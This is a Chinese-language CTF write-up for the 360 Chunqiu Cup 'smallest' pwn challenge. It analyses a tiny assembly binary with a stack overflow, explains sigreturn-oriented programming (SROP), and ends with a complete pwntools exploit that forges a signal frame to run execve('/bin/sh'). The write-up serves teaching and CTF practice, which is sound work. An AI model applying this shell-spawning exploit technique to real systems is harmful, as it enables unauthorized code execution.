360春秋杯smallest-pwn的学习与利用
 
360春秋杯smallest-pwn的学习与利用
0x00 序
这是上个月的360春秋杯线上比赛中的一个pwn题,当时比赛的时候虽然漏洞非常明显,
但是还是没有任何思路去利用,后来看到wp后才了解到利用的方法,wp中介绍了思路没有exp,
我自己尝试着做了一遍,写了一个exp,作为pwn的新手,仅仅希望给新手一个帮助,也为自己做一个记录
题目文件:
https://github.com/Reshahar/BlogFile/blob/master/smallest/smallest
0x01 漏洞分析
首先将程序smallest放到ida中,很快就分析结束了,因为程序非常小,人如其名,具体如下:
.text:00000000004000B0 start proc near
.text:00000000004000B0 xor rax, rax
.text:00000000004000B3 mov edx, 400h
.text:00000000004000B8 mov rsi, rsp
.text:00000000004000BB mov rdi, rax
.text:00000000004000BE syscall
.text:00000000004000C0 retn
.text:00000000004000C0 start endp
很明显的栈溢出漏洞,缓冲区大小400h大小,足够大了,但是使用gdb(peda插件)查看保护属性
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
可以看到开启了nx,所以不能直接植入shellcode,首先想到的就是rop,但是程序使用asm写的,没有任何的依赖库,根本找不到gadget
0x02 srop原理
比赛的时候也就分析到上面这样,后来看到wp后才知道srop技术,下面简单讲解一下srop
首先说一下rop(返回导向编程),这是一种绕过nx的一种方法,简单来说就是在程序或者依赖库中寻找一些以ret结束的指令,这里我们叫他gadget,由这些gadget组成一个chain来执行某些功能,
srop的使用和rop相当相似,而且更简单,这里大家最好先去了解一下rop的原理和使用技巧,这里我就不再多说,重点是介绍srop
srop(Sigreturn Oriented Programming),其中的Sigreturn是一个系统调用,在linux中存在一种机制signal信号机制,在系统的很多情况下,存在应用层和内核层的交互,很多通过signal来实现。
如果内核向进程发送一个signal,会有如下过程:
1.这个进程会被挂起,进入内核
2.内核保存程序的相应的上下文,调用signal handler
3.signal handler结束后,内核恢复保存的相应的上下文
4.进程继续执行
这里有一个很关键的点,就是程序相应的上下文(进程挂起时的寄存器等等信息),而这些信息保存在栈上,并且内核在恢复的时候并没有相关的校验,也就是说我们可以更改,也就是说我们可以间接控制寄存器。
下面在介绍一下这个上下文的结构(Signal frame)
0x00 | re_Sigreturn | uc_flags |
0x10 | &us | uc_stack.ss_sp |
0x20 | uc_stack.ss_flags | uc_stack.ss_size |
0x30 | r8 | r9 |
0x40 | r10 | r11 |
0x50 | r12 | r13 |
0x60 | r14 | r15 |
0x70 | rdi | rsi |
0x80 | rbp | rbx |
0x90 | rdx | rax |
0xA0 | rcx | rsp |
0xB0 | rip | rflags |
0xC0 | cs/gs/fs | err |
0xD0 | trapno | oldmask(unused) |
0xE0 | cr2(segfalut_addr) | &fpstate |
0xF0 | __reserved | sigmask |
其中re_Sigreturn这是一个系统调用,它会将这个结构体数据恢复到相应寄存器中,我们可以替换rip的值来控制程序流程,也可以同时修改rsp的地址,使程序形成一个chian,从而通过srop实现更多的功能
利用srop需要几个条件:
1.程序存在栈溢出漏洞
2.知道栈地址或者可以知道需要使用字符串的地址等
3.知道sigreturn的地址
3.知道syscall的地址或者syscall gadget地址
0x03漏洞利用
上面介绍了srop的原理,我们可以使用上面的原理来利用smallest这个pwn题
这个题满足上面的几个条件:
1.程序存在栈溢出
2.栈地址可以通过调试获得
3.syscall ret 地址我们明显知道
唯一不满足的就是没有sigreturn的地址,因为这是一个系统调用,我们可以通过syscall来实现执行sigreturn,这样我们就需要控制rax的值,因为rax存储系统调用的调用号,
而rax的值也是用来存储返回值得,所以我们可以通过程序的功能来读取0xf个字符(0xf sigreturn的调用号),想到这里的时候当时我自己钻进牛角尖了,一直在考虑怎么布置好Signal frame,同时发0xf个字节,
想了好久,最后换了一个角度,很快就想明白了,我们可以发两个playload
1.设置好Signal frame,同时控制程序让它再读一次数据
2.设置rax的值
我写的playload的具体结构如下:
playload1="rereadaddr"+‘padd’*8+frame+"/bin/sh"
playload2="syscalladdr"+'padd'*7 长度0xf
上面的playload中的一些数据,需要使用gdb调试获取:
1."/bin/sh"的地址,将rdi设置成其地址这是函数的第一个参数
2.设置rax为59(execve系统调用)
3.设置rip 等于syacall地址
完整exp如下:
这里我使用了pwntools,这样会很迅速的写出exp
from pwn import *
p = process('./smallest')
reread = 0x4000b0
syscall = 0x4000be
rereadaddr = p64(reread)
syscalladdr = p64(syscall)
context.clear()
context.arch = "amd64"
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = 0x7fffffffe4e8
frame.rip = syscall
print '###rereadaddr'+rereadaddr +'###'
print '###syscalladdr'+syscalladdr +'###'
binsh='/bin/sh'
print '###send playload1####'
playload1 = rereadaddr+'a'*8+ str(frame)+binsh
p.send(playload1)
print '###send playload2####'
playload2 = syscalladdr+'a'*7
p.send(playload2)
p.interactive()
0x04参考资料
[1]:http://www.2cto.com/article/201512/452080.html Sigreturn Oriented Programming (SROP) Attack攻击原理
[2]:https://thisissecurity.net/2015/01/03/playing-with-signals-an-overview-on-sigreturn-oriented-programming/ Playing with signals : An overview on Sigreturn Oriented Programming